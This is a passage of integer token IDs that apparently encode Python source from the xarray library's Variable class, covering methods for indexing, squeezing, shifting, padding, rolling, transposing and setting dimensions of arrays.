29897,
13,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
903,
294,
29918,
29879,
5510,
29898,
1311,
29892,
29234,
29918,
4830,
29922,
29918,
4381,
29892,
5445,
29918,
1767,
29922,
29881,
8768,
29889,
3521,
1125,
13,
4706,
9995,
13,
4706,
671,
29234,
29899,
2378,
408,
14998,
29889,
13,
4706,
9995,
13,
4706,
1053,
29234,
13,
13,
4706,
396,
14402,
29901,
825,
304,
437,
565,
270,
1278,
29899,
1627,
2760,
29973,
13,
4706,
565,
5445,
29918,
1767,
338,
270,
8768,
29889,
3521,
29901,
13,
9651,
26688,
29892,
5445,
29918,
1767,
353,
270,
8768,
29889,
26026,
29918,
14032,
866,
29898,
1311,
29889,
29881,
1853,
29897,
13,
4706,
1683,
29901,
13,
9651,
26688,
353,
270,
8768,
29889,
2914,
29918,
1853,
29898,
1311,
29889,
29881,
1853,
29892,
5445,
29918,
1767,
29897,
13,
13,
4706,
565,
29234,
29918,
4830,
338,
903,
4381,
29901,
13,
9651,
29234,
29918,
4830,
353,
376,
1111,
29877,
29908,
13,
4706,
1018,
29901,
13,
9651,
408,
29918,
29879,
5510,
353,
679,
5552,
29898,
29879,
5510,
29892,
285,
29908,
294,
648,
29879,
5510,
29918,
4830,
29889,
13609,
580,
27195,
13,
4706,
5174,
23833,
2392,
29901,
13,
9651,
12020,
7865,
2392,
29898,
29888,
29908,
29912,
29879,
5510,
29918,
4830,
29913,
338,
451,
263,
2854,
29234,
3402,
1159,
13,
13,
4706,
848,
353,
408,
29918,
29879,
5510,
29898,
1311,
29889,
1272,
29889,
579,
668,
29898,
29881,
1853,
511,
5445,
29918,
1767,
29922,
5589,
29918,
1767,
29897,
13,
4706,
736,
1583,
3032,
6506,
29898,
1272,
29922,
1272,
29897,
13,
13,
1678,
822,
903,
517,
29918,
1145,
344,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
10726,
14998,
515,
29234,
304,
7442,
29889,
2378,
13,
4706,
9995,
13,
4706,
565,
756,
5552,
29898,
1311,
3032,
1272,
29892,
376,
20034,
1947,
29908,
1125,
13,
9651,
736,
1583,
3032,
6506,
29898,
1272,
29922,
1311,
3032,
1272,
29889,
20034,
1947,
3101,
13,
4706,
736,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
13,
1678,
822,
338,
295,
29898,
13,
4706,
1583,
29901,
28736,
1542,
29892,
13,
4706,
2380,
414,
29901,
341,
20304,
29961,
10438,
519,
29892,
3139,
29962,
353,
6213,
29892,
13,
4706,
4567,
29918,
6229,
29879,
29901,
851,
353,
376,
22692,
613,
13,
4706,
3579,
2248,
414,
29918,
19290,
29901,
3139,
29892,
13,
1678,
1723,
1599,
28736,
1542,
29901,
13,
4706,
9995,
11609,
263,
716,
1409,
27541,
3412,
278,
6790,
9927,
29898,
29879,
467,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3579,
2248,
414,
584,
426,
6229,
29901,
2380,
261,
29892,
2023,
29913,
13,
9651,
7670,
1742,
6273,
411,
2983,
9686,
13391,
322,
1819,
2183,
13,
9651,
491,
11920,
29892,
22780,
3618,
470,
7049,
29889,
13,
4706,
4567,
29918,
6229,
29879,
584,
8853,
22692,
613,
376,
25442,
613,
376,
17281,
10758,
2322,
29901,
376,
22692,
29908,
13,
9651,
1724,
304,
437,
565,
13391,
393,
881,
367,
4629,
515,
526,
451,
2198,
297,
278,
13,
9651,
3630,
2588,
29901,
13,
9651,
448,
376,
22692,
1115,
12020,
385,
3682,
13,
9651,
448,
376,
27392,
1115,
12020,
263,
9177,
29892,
322,
11455,
278,
4567,
13391,
13,
9651,
448,
376,
17281,
1115,
11455,
278,
4567,
13391,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
5446,
584,
4398,
1203,
13,
9651,
319,
716,
4398,
411,
278,
4629,
848,
322,
13391,
29889,
512,
2498,
29892,
13,
9651,
278,
716,
2286,
29915,
29879,
848,
674,
367,
263,
1776,
310,
445,
2286,
29915,
29879,
848,
29892,
13,
9651,
6521,
12655,
19231,
26190,
471,
19799,
491,
773,
385,
1409,
13,
9651,
2380,
261,
29892,
297,
607,
1206,
278,
848,
674,
367,
263,
3509,
29889,
13,
4706,
9995,
13,
4706,
2380,
414,
353,
2845,
29918,
8977,
29918,
272,
29918,
19290,
29898,
2248,
414,
29892,
2380,
414,
29918,
19290,
29892,
376,
275,
295,
1159,
13,
13,
4706,
2380,
414,
353,
5768,
29918,
6229,
29879,
29918,
3166,
29918,
2248,
414,
29898,
2248,
414,
29892,
1583,
29889,
6229,
29879,
29892,
4567,
29918,
6229,
29879,
29897,
13,
13,
4706,
1820,
353,
18761,
29898,
2248,
414,
29889,
657,
29898,
6229,
29892,
22780,
29898,
8516,
876,
363,
3964,
297,
1583,
29889,
6229,
29879,
29897,
13,
4706,
736,
1583,
29961,
1989,
29962,
13,
13,
1678,
822,
269,
802,
29872,
911,
29898,
1311,
29892,
3964,
29922,
8516,
1125,
13,
4706,
9995,
11609,
263,
716,
1203,
411,
269,
802,
6096,
287,
848,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3964,
584,
6213,
470,
851,
470,
18761,
310,
851,
29892,
13136,
13,
9651,
7605,
29879,
263,
11306,
310,
278,
3309,
697,
13391,
29889,
960,
263,
9927,
338,
13,
9651,
4629,
411,
3309,
7621,
1135,
697,
29892,
385,
1059,
338,
10425,
29889,
960,
13,
9651,
6213,
29892,
599,
3309,
697,
13391,
526,
269,
802,
6096,
287,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
269,
802,
6096,
287,
584,
1021,
1134,
408,
24959,
13,
9651,
910,
1203,
29892,
541,
411,
411,
599,
470,
263,
11306,
310,
278,
13391,
310,
13,
9651,
3309,
29871,
29896,
6206,
29889,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
12655,
29889,
29879,
802,
29872,
911,
13,
4706,
9995,
13,
4706,
3964,
29879,
353,
3619,
29889,
657,
29918,
29879,
802,
29872,
911,
29918,
6229,
29879,
29898,
1311,
29892,
3964,
29897,
13,
4706,
736,
1583,
29889,
275,
295,
3319,
29881,
29901,
29871,
29900,
363,
270,
297,
3964,
29879,
1800,
13,
13,
1678,
822,
903,
10889,
29918,
650,
29918,
6229,
29898,
1311,
29892,
3964,
29892,
2302,
29892,
5445,
29918,
1767,
29922,
29881,
8768,
29889,
3521,
1125,
13,
4706,
9685,
353,
1583,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
29897,
13,
13,
4706,
565,
2302,
1405,
29871,
29900,
29901,
13,
9651,
3013,
353,
22780,
29898,
8516,
29892,
448,
2798,
29897,
13,
4706,
25342,
2302,
529,
29871,
29900,
29901,
13,
9651,
3013,
353,
22780,
6278,
2798,
29892,
6213,
29897,
13,
4706,
1683,
29901,
13,
9651,
3013,
353,
22780,
29898,
8516,
29897,
13,
13,
4706,
17151,
2168,
29918,
1272,
353,
1583,
15625,
18337,
29898,
8516,
511,
29897,
334,
9685,
718,
313,
17462,
29892,
29897,
1822,
1272,
13,
13,
4706,
565,
5445,
29918,
1767,
338,
270,
8768,
29889,
3521,
29901,
13,
9651,
26688,
29892,
5445,
29918,
1767,
353,
270,
8768,
29889,
26026,
29918,
14032,
866,
29898,
1311,
29889,
29881,
1853,
29897,
13,
4706,
1683,
29901,
13,
9651,
26688,
353,
1583,
29889,
29881,
1853,
13,
13,
4706,
2920,
353,
1375,
29898,
6897,
29898,
2798,
511,
1583,
29889,
12181,
29961,
8990,
2314,
13,
4706,
3964,
29918,
8305,
353,
313,
2103,
29892,
29871,
29900,
29897,
565,
2302,
6736,
29871,
29900,
1683,
313,
29900,
29892,
2920,
29897,
13,
4706,
282,
7925,
353,
17288,
29900,
29892,
29871,
29900,
29897,
565,
270,
2804,
3964,
1683,
3964,
29918,
8305,
363,
270,
297,
1583,
29889,
6229,
29879,
29962,
13,
13,
4706,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
8305,
29898,
13,
9651,
17151,
2168,
29918,
1272,
29889,
579,
668,
29898,
29881,
1853,
511,
13,
9651,
282,
7925,
29892,
13,
9651,
4464,
543,
23362,
613,
13,
9651,
4868,
29918,
5975,
29922,
5589,
29918,
1767,
29892,
13,
4706,
1723,
13,
13,
4706,
565,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29898,
1272,
1125,
13,
9651,
396,
19875,
287,
848,
881,
2041,
714,
411,
278,
1021,
521,
18801,
29936,
445,
3732,
13,
9651,
396,
372,
28326,
1821,
304,
14405,
9500,
287,
322,
443,
10889,
287,
848,
13,
9651,
396,
14402,
29901,
3349,
445,
2748,
270,
1278,
29889,
2378,
6336,
7595,
29879,
521,
18801,
13,
9651,
848,
353,
848,
29889,
276,
29812,
29898,
1311,
29889,
1272,
29889,
305,
18801,
29897,
13,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
9500,
29898,
1311,
29892,
528,
17741,
29922,
8516,
29892,
5445,
29918,
1767,
29922,
29881,
8768,
29889,
3521,
29892,
3579,
845,
17741,
29918,
19290,
1125,
13,
4706,
9995,
13,
4706,
7106,
263,
716,
28736,
411,
9500,
287,
848,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
528,
17741,
584,
10417,
310,
278,
883,
426,
6229,
29901,
9210,
29913,
13,
9651,
8102,
9210,
304,
9500,
3412,
1269,
310,
278,
2183,
13391,
29889,
13,
9651,
10321,
3321,
1283,
7224,
9500,
304,
278,
1492,
29936,
8178,
1283,
7224,
9500,
304,
278,
13,
9651,
2175,
29889,
13,
4706,
5445,
29918,
1767,
29901,
17336,
29892,
13136,
13,
9651,
7865,
304,
671,
363,
15141,
4567,
1819,
13,
4706,
3579,
845,
17741,
29918,
19290,
13,
9651,
450,
13553,
6273,
883,
310,
4954,
845,
17741,
29952,
1412,
13,
9651,
3118,
310,
528,
17741,
470,
528,
17741,
29918,
19290,
1818,
367,
4944,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
9500,
287,
584,
28736,
13,
9651,
28736,
411,
278,
1021,
13391,
322,
8393,
541,
9500,
287,
848,
29889,
13,
4706,
9995,
13,
4706,
528,
17741,
353,
2845,
29918,
8977,
29918,
272,
29918,
19290,
29898,
845,
17741,
29892,
528,
17741,
29918,
19290,
29892,
376,
10889,
1159,
13,
4706,
1121,
353,
1583,
13,
4706,
363,
3964,
29892,
2302,
297,
528,
17741,
29889,
7076,
7295,
13,
9651,
1121,
353,
1121,
3032,
10889,
29918,
650,
29918,
6229,
29898,
6229,
29892,
2302,
29892,
5445,
29918,
1767,
29922,
5589,
29918,
1767,
29897,
13,
4706,
736,
1121,
13,
13,
1678,
822,
903,
8305,
29918,
6768,
29918,
6229,
29918,
517,
29918,
2248,
29898,
13,
4706,
1583,
29892,
13,
4706,
17132,
29918,
3385,
29901,
341,
20304,
29961,
10438,
519,
29892,
7761,
29961,
524,
29892,
12603,
552,
29961,
524,
29892,
938,
5262,
1402,
13,
4706,
5445,
29918,
2541,
29918,
12181,
29922,
8824,
29892,
13,
268,
1125,
13,
4706,
565,
5445,
29918,
2541,
29918,
12181,
29901,
13,
9651,
736,
518,
13,
18884,
313,
29876,
29892,
302,
29897,
565,
270,
451,
297,
17132,
29918,
3385,
1683,
17132,
29918,
3385,
29961,
29881,
29962,
13,
18884,
363,
270,
29892,
302,
297,
14319,
29898,
1311,
29889,
6229,
29879,
29892,
1583,
29889,
1272,
29889,
12181,
29897,
13,
9651,
4514,
13,
4706,
736,
17288,
29900,
29892,
29871,
29900,
29897,
565,
270,
451,
297,
17132,
29918,
3385,
1683,
17132,
29918,
3385,
29961,
29881,
29962,
363,
270,
297,
1583,
29889,
6229,
29879,
29962,
13,
13,
1678,
822,
17132,
29898,
13,
4706,
1583,
29892,
13,
4706,
17132,
29918,
2103,
29901,
341,
20304,
29961,
10438,
519,
29892,
7761,
29961,
524,
29892,
12603,
552,
29961,
524,
29892,
938,
5262,
29962,
353,
6213,
29892,
13,
4706,
4464,
29901,
851,
353,
376,
23362,
613,
13,
4706,
1002,
29918,
2848,
29901,
7761,
29961,
13,
9651,
938,
29892,
12603,
552,
29961,
524,
29892,
938,
1402,
341,
20304,
29961,
10438,
519,
29892,
12603,
552,
29961,
524,
29892,
938,
5262,
13,
4706,
4514,
353,
6213,
29892,
13,
4706,
4868,
29918,
5975,
29901,
7761,
29961,
13,
9651,
938,
29892,
12603,
552,
29961,
524,
29892,
938,
1402,
341,
20304,
29961,
10438,
519,
29892,
12603,
552,
29961,
524,
29892,
938,
5262,
13,
4706,
4514,
353,
6213,
29892,
13,
4706,
1095,
29918,
5975,
29901,
7761,
29961,
13,
9651,
938,
29892,
12603,
552,
29961,
524,
29892,
938,
1402,
341,
20304,
29961,
10438,
519,
29892,
12603,
552,
29961,
524,
29892,
938,
5262,
13,
4706,
4514,
353,
6213,
29892,
13,
4706,
9432,
29918,
1853,
29901,
851,
353,
6213,
29892,
13,
4706,
3579,
8305,
29918,
2103,
29918,
19290,
29901,
3139,
29892,
13,
268,
1125,
13,
4706,
9995,
13,
4706,
7106,
263,
716,
28736,
411,
282,
23959,
848,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
17132,
29918,
2103,
584,
10417,
310,
6608,
519,
304,
18761,
310,
938,
13,
9651,
341,
20304,
411,
278,
883,
310,
426,
6229,
29901,
313,
8305,
29918,
11083,
29892,
17132,
29918,
7045,
2915,
13,
9651,
20766,
278,
1353,
310,
1819,
282,
23959,
3412,
1269,
9927,
29889,
13,
9651,
426,
6229,
29901,
17132,
29913,
338,
263,
21697,
363,
17132,
29918,
11083,
353,
17132,
29918,
7045,
353,
17132,
13,
4706,
4464,
584,
851,
29892,
2322,
29901,
376,
23362,
29908,
13,
9651,
2823,
12655,
847,
360,
1278,
10561,
13,
4706,
1002,
29918,
2848,
584,
938,
29892,
18761,
470,
10417,
310,
6608,
519,
304,
18761,
13,
9651,
501,
8485,
297,
525,
27525,
398,
742,
525,
12676,
742,
525,
2168,
713,
742,
322,
525,
1195,
12539,
4286,
29871,
9681,
310,
13,
9651,
1819,
472,
7636,
310,
1269,
9685,
1304,
304,
8147,
278,
1002,
4695,
995,
29889,
13,
4706,
4868,
29918,
5975,
584,
17336,
29892,
18761,
470,
10417,
310,
6608,
519,
304,
18761,
13,
9651,
501,
8485,
297,
525,
23362,
4286,
29871,
450,
1819,
304,
731,
278,
282,
23959,
1819,
363,
1269,
13,
9651,
9685,
29889,
13,
4706,
1095,
29918,
5975,
584,
17336,
29892,
18761,
470,
10417,
310,
6608,
519,
304,
18761,
13,
9651,
501,
8485,
297,
525,
10660,
29918,
29878,
1160,
4286,
29871,
450,
1819,
1304,
363,
278,
17140,
995,
310,
278,
13,
9651,
5608,
29918,
29878,
1160,
322,
393,
674,
883,
278,
7636,
310,
278,
282,
23959,
1409,
29889,
13,
4706,
9432,
29918,
1853,
584,
8853,
11884,
613,
376,
22861,
10758,
13136,
13,
9651,
501,
8485,
297,
376,
13191,
613,
322,
376,
11967,
16414,
1642,
29871,
450,
376,
11884,
29908,
3114,
338,
278,
13,
9651,
2322,
411,
385,
443,
13794,
287,
17842,
2820,
278,
7636,
995,
29889,
29871,
1152,
13,
9651,
278,
376,
22861,
29908,
3114,
29892,
278,
10410,
760,
310,
278,
1409,
338,
2825,
491,
13,
9651,
23197,
292,
278,
25312,
1819,
515,
1023,
3064,
278,
7636,
995,
29889,
13,
4706,
3579,
8305,
29918,
2103,
29918,
19290,
13,
9651,
3118,
310,
17132,
29918,
2103,
470,
17132,
29918,
2103,
29918,
19290,
1818,
367,
4944,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
282,
23959,
584,
28736,
13,
9651,
28736,
411,
278,
1021,
13391,
322,
8393,
541,
282,
23959,
848,
29889,
13,
4706,
9995,
13,
4706,
17132,
29918,
2103,
353,
2845,
29918,
8977,
29918,
272,
29918,
19290,
29898,
8305,
29918,
2103,
29892,
17132,
29918,
2103,
29918,
19290,
29892,
376,
8305,
1159,
13,
13,
4706,
396,
1735,
2322,
10468,
310,
17132,
411,
4464,
4868,
13,
4706,
565,
4464,
1275,
376,
23362,
29908,
322,
313,
13,
9651,
4868,
29918,
5975,
338,
6213,
470,
4868,
29918,
5975,
338,
270,
8768,
29889,
3521,
13,
308,
1125,
13,
9651,
26688,
29892,
4868,
29918,
5975,
353,
270,
8768,
29889,
26026,
29918,
14032,
866,
29898,
1311,
29889,
29881,
1853,
29897,
13,
4706,
1683,
29901,
13,
9651,
26688,
353,
1583,
29889,
29881,
1853,
13,
13,
4706,
396,
1653,
17132,
29918,
6768,
29918,
19290,
29892,
12655,
6858,
871,
8018,
9049,
5085,
304,
367,
1661,
6310,
13,
4706,
565,
338,
8758,
29898,
6112,
29918,
2848,
29892,
9657,
1125,
13,
9651,
1002,
29918,
2848,
353,
1583,
3032,
8305,
29918,
6768,
29918,
6229,
29918,
517,
29918,
2248,
29898,
13,
18884,
1002,
29918,
2848,
29892,
5445,
29918,
2541,
29918,
12181,
29922,
5574,
13,
9651,
1723,
13,
4706,
565,
338,
8758,
29898,
23362,
29918,
5975,
29892,
9657,
1125,
13,
9651,
4868,
29918,
5975,
353,
1583,
3032,
8305,
29918,
6768,
29918,
6229,
29918,
517,
29918,
2248,
29898,
23362,
29918,
5975,
29897,
13,
4706,
565,
338,
8758,
29898,
355,
29918,
5975,
29892,
9657,
1125,
13,
9651,
1095,
29918,
5975,
353,
1583,
3032,
8305,
29918,
6768,
29918,
6229,
29918,
517,
29918,
2248,
29898,
355,
29918,
5975,
29897,
13,
13,
4706,
396,
14725,
363,
6494,
297,
360,
1278,
29915,
29879,
2322,
995,
310,
1002,
29918,
2848,
2045,
597,
3292,
29889,
510,
29914,
29881,
1278,
29914,
29881,
1278,
29914,
12175,
29914,
29945,
29941,
29900,
29941,
13,
4706,
565,
1002,
29918,
2848,
338,
6213,
322,
4464,
297,
6796,
27525,
398,
613,
376,
12676,
613,
376,
2168,
713,
613,
376,
1195,
12539,
3108,
29901,
13,
9651,
1002,
29918,
2848,
353,
17288,
29876,
29892,
302,
29897,
363,
302,
297,
1583,
29889,
1272,
29889,
12181,
29962,
29871,
396,
1134,
29901,
11455,
13,
13,
4706,
396,
1735,
6043,
1819,
304,
263,
18761,
310,
1023,
310,
1906,
1819,
322,
1735,
17132,
29918,
2103,
304,
2380,
13,
4706,
363,
413,
29892,
325,
297,
17132,
29918,
2103,
29889,
7076,
7295,
13,
9651,
565,
338,
8758,
29898,
29894,
29892,
3694,
29889,
4557,
1125,
13,
18884,
17132,
29918,
2103,
29961,
29895,
29962,
353,
313,
29894,
29892,
325,
29897,
13,
4706,
17132,
29918,
2103,
29918,
1609,
29918,
2248,
353,
1583,
3032,
8305,
29918,
6768,
29918,
6229,
29918,
517,
29918,
2248,
29898,
8305,
29918,
2103,
29897,
13,
13,
4706,
396,
1653,
17132,
29918,
6768,
29918,
19290,
29892,
12655,
29914,
29881,
1278,
6858,
871,
8018,
9049,
5085,
304,
367,
1661,
6310,
13,
4706,
17132,
29918,
3385,
29918,
19290,
353,
6571,
13,
4706,
565,
1002,
29918,
2848,
338,
451,
6213,
29901,
13,
9651,
17132,
29918,
3385,
29918,
19290,
3366,
6112,
29918,
2848,
3108,
353,
1002,
29918,
2848,
13,
4706,
565,
4868,
29918,
5975,
338,
451,
6213,
29901,
13,
9651,
17132,
29918,
3385,
29918,
19290,
3366,
23362,
29918,
5975,
3108,
353,
4868,
29918,
5975,
13,
4706,
565,
1095,
29918,
5975,
338,
451,
6213,
29901,
13,
9651,
17132,
29918,
3385,
29918,
19290,
3366,
355,
29918,
5975,
3108,
353,
1095,
29918,
5975,
13,
4706,
565,
9432,
29918,
1853,
338,
451,
6213,
29901,
13,
9651,
17132,
29918,
3385,
29918,
19290,
3366,
13191,
29918,
1853,
3108,
353,
9432,
29918,
1853,
29871,
396,
1134,
29901,
11455,
13,
13,
4706,
1409,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
8305,
29898,
13,
9651,
1583,
29889,
1272,
29889,
579,
668,
29898,
29881,
1853,
29892,
3509,
29922,
8824,
511,
13,
9651,
17132,
29918,
2103,
29918,
1609,
29918,
2248,
29892,
13,
9651,
4464,
29922,
8513,
29892,
13,
9651,
3579,
8305,
29918,
3385,
29918,
19290,
29892,
13,
4706,
1723,
13,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
1409,
29897,
13,
13,
1678,
822,
903,
1245,
29918,
650,
29918,
6229,
29898,
1311,
29892,
3964,
29892,
2302,
1125,
13,
4706,
9685,
353,
1583,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
29897,
13,
13,
4706,
2302,
1273,
29922,
1583,
29889,
12181,
29961,
8990,
29962,
13,
4706,
565,
2302,
2804,
29871,
29900,
29901,
13,
9651,
16285,
353,
518,
18337,
6278,
2798,
29892,
6213,
511,
22780,
29898,
8516,
29892,
448,
2798,
4638,
13,
4706,
1683,
29901,
13,
9651,
16285,
353,
518,
18337,
29898,
8516,
4638,
13,
13,
4706,
7049,
353,
518,
1311,
15625,
18337,
29898,
8516,
511,
29897,
334,
9685,
718,
313,
13140,
29892,
29897,
1822,
1272,
363,
22645,
297,
16285,
29962,
13,
13,
4706,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
535,
29883,
2579,
403,
29898,
2378,
29879,
29892,
9685,
29897,
13,
13,
4706,
565,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29898,
1272,
1125,
13,
9651,
396,
19875,
287,
848,
881,
2041,
714,
411,
278,
1021,
521,
18801,
29936,
445,
3732,
13,
9651,
396,
372,
28326,
1821,
304,
14405,
9500,
287,
322,
443,
10889,
287,
848,
13,
9651,
396,
14402,
29901,
3349,
445,
2748,
270,
1278,
29889,
2378,
6336,
7595,
29879,
521,
18801,
13,
9651,
848,
353,
848,
29889,
276,
29812,
29898,
1311,
29889,
1272,
29889,
305,
18801,
29897,
13,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
9679,
29898,
1311,
29892,
528,
17741,
29922,
8516,
29892,
3579,
845,
17741,
29918,
19290,
1125,
13,
4706,
9995,
13,
4706,
7106,
263,
716,
28736,
411,
14467,
430,
848,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
528,
17741,
584,
10417,
310,
6608,
519,
304,
938,
13,
9651,
8102,
9210,
304,
9679,
3412,
1269,
310,
278,
2183,
13391,
29889,
13,
9651,
10321,
3321,
1283,
7224,
9679,
304,
278,
1492,
29936,
8178,
1283,
7224,
9679,
304,
278,
13,
9651,
2175,
29889,
13,
4706,
3579,
845,
17741,
29918,
19290,
13,
9651,
450,
13553,
6273,
883,
310,
4954,
845,
17741,
29952,
1412,
13,
9651,
3118,
310,
528,
17741,
470,
528,
17741,
29918,
19290,
1818,
367,
4944,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
9500,
287,
584,
28736,
13,
9651,
28736,
411,
278,
1021,
13391,
322,
8393,
541,
29081,
848,
29889,
13,
4706,
9995,
13,
4706,
528,
17741,
353,
2845,
29918,
8977,
29918,
272,
29918,
19290,
29898,
845,
17741,
29892,
528,
17741,
29918,
19290,
29892,
376,
1245,
1159,
13,
13,
4706,
1121,
353,
1583,
13,
4706,
363,
3964,
29892,
2302,
297,
528,
17741,
29889,
7076,
7295,
13,
9651,
1121,
353,
1121,
3032,
1245,
29918,
650,
29918,
6229,
29898,
6229,
29892,
2302,
29897,
13,
4706,
736,
1121,
13,
13,
1678,
822,
1301,
4220,
29898,
1311,
29892,
334,
6229,
29879,
29897,
1599,
376,
16174,
1115,
13,
4706,
9995,
11609,
263,
716,
28736,
1203,
411,
1301,
4752,
13391,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
334,
6229,
29879,
584,
851,
29892,
13136,
13,
9651,
2648,
2322,
29892,
11837,
278,
13391,
29889,
13466,
29892,
337,
2098,
278,
13,
9651,
13391,
304,
445,
1797,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1301,
4752,
584,
28736,
13,
9651,
450,
4133,
1203,
756,
1301,
4752,
848,
322,
13391,
411,
278,
13,
9651,
1021,
8393,
408,
278,
2441,
29889,
13,
13,
4706,
8695,
13,
4706,
448,
807,
13,
4706,
910,
5858,
3639,
263,
1776,
310,
445,
2286,
29915,
29879,
848,
29889,
739,
338,
13,
4706,
17366,
363,
270,
1278,
29899,
1627,
287,
9586,
1849,
541,
451,
363,
12655,
29899,
1627,
287,
9586,
1849,
29889,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
12655,
29889,
3286,
4220,
13,
4706,
9995,
13,
4706,
565,
7431,
29898,
6229,
29879,
29897,
1275,
29871,
29900,
29901,
13,
9651,
3964,
29879,
353,
1583,
29889,
6229,
29879,
29961,
1057,
29899,
29896,
29962,
13,
4706,
3964,
29879,
353,
18761,
29898,
262,
5878,
29918,
6229,
29879,
29898,
6229,
29879,
29892,
1583,
29889,
6229,
29879,
876,
13,
4706,
27815,
353,
1583,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
29879,
29897,
13,
4706,
565,
7431,
29898,
6229,
29879,
29897,
529,
29871,
29906,
470,
3964,
29879,
1275,
1583,
29889,
6229,
29879,
29901,
13,
9651,
396,
694,
817,
304,
1301,
4220,
565,
871,
697,
9927,
13,
9651,
396,
470,
3964,
29879,
526,
297,
1021,
1797,
13,
9651,
736,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
13,
4706,
848,
353,
408,
29918,
2248,
519,
29898,
1311,
3032,
1272,
467,
3286,
4220,
29898,
1165,
267,
29897,
13,
4706,
736,
1134,
29898,
1311,
5033,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
323,
29898,
1311,
29897,
1599,
376,
16174,
1115,
13,
4706,
736,
1583,
29889,
3286,
4220,
580,
13,
13,
1678,
822,
731,
29918,
6229,
29879,
29898,
1311,
29892,
3964,
29879,
29892,
8267,
29922,
8516,
1125,
13,
4706,
9995,
11609,
263,
716,
2286,
411,
2183,
731,
310,
13391,
29889,
13,
4706,
910,
1158,
1795,
367,
1304,
304,
10641,
716,
9927,
29898,
29879,
29897,
304,
2286,
29889,
13,
13,
4706,
1932,
1950,
29892,
445,
5858,
947,
451,
3509,
445,
2286,
29915,
29879,
848,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3964,
29879,
584,
851,
470,
5665,
310,
851,
470,
9657,
13,
9651,
4792,
5580,
304,
3160,
373,
278,
716,
2286,
29889,
960,
263,
9657,
29892,
1819,
526,
13,
9651,
1304,
304,
3867,
278,
15786,
310,
716,
13391,
29936,
6467,
29892,
716,
13,
9651,
13391,
526,
15478,
411,
3309,
29871,
29896,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
28736,
13,
4706,
9995,
13,
4706,
565,
338,
8758,
29898,
6229,
29879,
29892,
851,
1125,
13,
9651,
3964,
29879,
353,
518,
6229,
29879,
29962,
13,
13,
4706,
565,
8267,
338,
6213,
322,
3667,
29879,
29889,
275,
29918,
8977,
29918,
4561,
29898,
6229,
29879,
1125,
13,
9651,
8267,
353,
3964,
29879,
29889,
5975,
580,
13,
13,
4706,
4567,
29918,
6229,
29879,
353,
731,
29898,
1311,
29889,
6229,
29879,
29897,
448,
731,
29898,
6229,
29879,
29897,
13,
4706,
565,
4567,
29918,
6229,
29879,
29901,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
1482,
13391,
1273,
29878,
1818,
367,
263,
480,
6774,
300,
310,
376,
13,
18884,
376,
735,
15423,
13391,
1273,
29878,
29908,
1273,
313,
6229,
29879,
29892,
1583,
29889,
6229,
29879,
29897,
13,
9651,
1723,
13,
13,
4706,
1583,
29918,
6229,
29879,
353,
731,
29898,
1311,
29889,
6229,
29879,
29897,
13,
4706,
17832,
29918,
6229,
29879,
353,
18761,
29898,
29881,
363,
270,
297,
3964,
29879,
565,
270,
451,
297,
1583,
29918,
6229,
29879,
29897,
718,
1583,
29889,
6229,
29879,
13,
13,
4706,
565,
1583,
29889,
6229,
29879,
1275,
17832,
29918,
6229,
29879,
29901,
13,
9651,
396,
1016,
29915,
29873,
671,
12672,
29918,
517,
6521,
5181,
577,
278,
1121,
9242,
13,
9651,
396,
2436,
519,
565,
1950,
13,
9651,
17832,
29918,
1272,
353,
1583,
29889,
1272,
13,
4706,
25342,
8267,
338,
451,
6213,
29901,
13,
9651,
3964,
29879,
29918,
1958,
353,
9657,
29898,
7554,
29898,
6229,
29879,
29892,
8267,
876,
13,
9651,
13128,
29918,
12181,
353,
18761,
29898,
6229,
29879,
29918,
1958,
29961,
29881,
29962,
363,
270,
297,
17832,
29918,
6229,
29879,
29897,
13,
9651,
